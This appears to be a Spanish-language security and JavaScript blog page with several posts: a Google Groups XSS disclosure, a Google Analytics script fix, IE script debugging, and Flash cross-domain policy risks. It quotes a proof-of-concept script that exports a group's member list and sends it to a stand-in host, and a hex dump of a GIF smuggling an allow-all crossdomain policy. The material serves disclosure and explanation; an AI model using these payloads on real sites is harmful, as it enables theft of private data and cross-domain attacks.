Buayacorp

Este año recién empieza y ya se han reportado múltiples fallos de seguridad en diversas aplicaciones, esta vez Michael Schwarz comenta sobre un bug en Google Groups, que permite insertar javascript en el mensaje que se envía al administrador del grupo al momento de suscribirse.

En el mismo artículo, pone código de prueba que permite obtener la lista de miembros de un grupo X.

<script type="text/javascript">
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "/group/[GROUPNAME]/manage_members/MemberList.csv?Action.Export=Export+member+list", true);
xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4) {
        var img = document.createElement("img");
        img.src = "http://yourdomain/?" + escape(xmlhttp.responseText);
        document.body.appendChild(img);
    }
};
xmlhttp.send(null);
</script> 

El código mostrado en el último quiz, en realidad es una función de Wordpress que era vulnerable a XSS. Pongo la solución en una nueva entrada porque intentaré describir algunos de los errores que cometí al intentar explotar el bug mencionado en una entrada anterior.

Continúa leyendo »

Muchos de los sitios que usan Google Analytics para manejar sus estadísticas, presentan un -pequeño- error en javascript cuando el visitante usa Firefox.

Para solucionar -realmente- este pequeño error, pueden usar una versión modificada del script de Google Analytics o cambiar lo siguiente para evitar que se muestre el error:

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>

<script type="text/javascript">
_uacct = "....";
urchinTracker();
</script>

por:

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>

<script type="text/javascript">
_uacct = "....";
if (typeof(urchinTracker) == 'function') {
  urchinTracker();
}
</script>

El presente post intenta mostrar la depuración de código javascript en Internet Explorer desde la comodidad del Visual Studio .NET, que hace fácil la tarea de depuración de scripts -inclusive aquellos que han pasado por la utilidad packer de Dean Edwards.

Seguramente no soy el único que ha tenido problemas con ciertos scripts que funcionan bien en otros navegadores, pero no con Internet Explorer. Imagino que también habrán maldecido agradecido miles de veces a los desarrolladores de este navegador, por proveer esa “maravillosa” forma de mostrar los mensajes de error que normalmente no sirve para nada.

Retomando el tema del post, para habilitar la depuración, se tiene que desmarcar la opción "Deshabilitar la depuración de secuencias de comandos (Internet Explorer)", esta opción pueden encontrarlo en Herramientas -> Opciones de Internet -> Avanzadas; una vez hecho el cambio se debe cerrar el navegador para que los cambios hagan efecto.

A continuación, para definir un breakpoint, sólo basta escribir debugger; en el lugar donde se quiere detener la ejecución del script.

foo = function () {
	debugger;
	var arr = [];

	arr['demo'] = 'foo';				
		
	m = document.getElementById('msg');
	
	alert(m.value)
}

Una vez que hayan hecho los cambios necesarios, cada vez que el navegador encuentre la sentencia debugger aparecerá algo como:

Invocar al depurador

Visual Studio en acción

Propiedades de una variable

Variables locales

Si no tienen instalado Visual Studio .NET, pueden hacer uso de Microsoft Script Debugger.

Como ya saben, las peticiones usando el objeto XMLHttpRequest -o su equivalente en IE-, están limitadas por defecto al mismo dominio.

Cuando el objeto XMLHttpRequest funciona en un navegador, se adopta la misma política de seguridad típica de JavaScript. Mozilla requiere envolver el objeto dentro de los privilegios de seguridad UniversalBrowserRead. IE, por otra parte, simplemente muestra una alarma al usuario de que una actividad potencialmente insegura puede continuar y ofrece una posibilidad para cancelar. El dominio de la URL de destino de la petición debe ser el mismo que el de la página que se visita. Esto quiere decir, que los scripts no pueden traer ni enviar datos a otras fuentes

Si no existiera dicha restricción, se harían más fáciles los ataques del tipo CSRF.

A cross-site request forgery (CSRF), although similar-sounding in name to cross-site scripting (XSS), is a very different and almost opposite form of attack. Whereas cross-site scripting exploits the trust a user has in a website, a cross-site request forgery exploits the trust a Web site has in a user by forging a request from a trusted user. These attacks are often less popular (so there are fewer resources available), more difficult to defend against than XSS attacks, and, therefore, more dangerous.

Bien, este tipo de restricciones también se aplican los applets de java y a las aplicaciones .NET embedidas como objetos ActiveX; para cambiar este comportamiento normalmente hay que configurar y dar los permisos adecuados en cada navegador.

En el caso de Flash, es un poco diferente, ya que para hacer peticiones HTTP desde un dominio A hacia otro B, es necesario que en B exista una regla que indique que el dominio A puede hacer llamadas a B, éstas reglas están definidas en un archivo denominado crossdomain.xml.

<cross-domain-policy> 
    <allow-access-from domain="*"/> <!-- Permite el acceso desde cualquier dominio -->
</cross-domain-policy>

Hace algún tiempo, Chris Shiflett publicó unos artículos indicando la peligrosidad que podría tener este archivo así como también algunos sitios populares que eran vulnerables (Flickr, Youtube). El número de sitios que tienen o tenían este archivo -según google- son relativamente pocos, haciendo que sólo estos sitios sean posiblemente vulnerables a ataques CSRF.

Sin embargo, hoy ha sido publicado en Hardened PHP Project, una vulnerabilidad en Flash Player, que permite cargar las politicas de seguridad desde un documento xml malformado. Esto se logra gracias al método loadPolicyFile -que sirve para especificar una ruta alterna para crossdomain.xml- y una imagen GIF que contiene el texto xml mostrado arriba.

Vulnerable Applications

• Applications that use a blacklist approach to only disallow dangerous HTML tags in text/html output
• Applications that do not filter HTML tags because response is not text/html
• Applications that allow fileupload/retrieval (e.g. avatars in bulletin boards)
• Applications that contain PHP include vulnerabilities
• Applications that contain file retrieval vulnerabilities

Policy.gif

00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72  GIF89a.......<cr
00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63  oss-domain-polic
00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65  y>...<allow-acce
00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22  ss-from domain="
00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d  *"/>....</cross-
00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49  domain-policy>..

Posiblemente un gran número de aplicaciones sean afectados por este problema.

Referencias

• Poking new holes with Flash Crossdomain Policy Files
• External data not accessible outside a Macromedia Flash movie’s domain
• Cross-Domain Ajax Insecurity
• The Dangers of Cross-Domain Ajax with Flash
• The crossdomain.xml Witch Hunt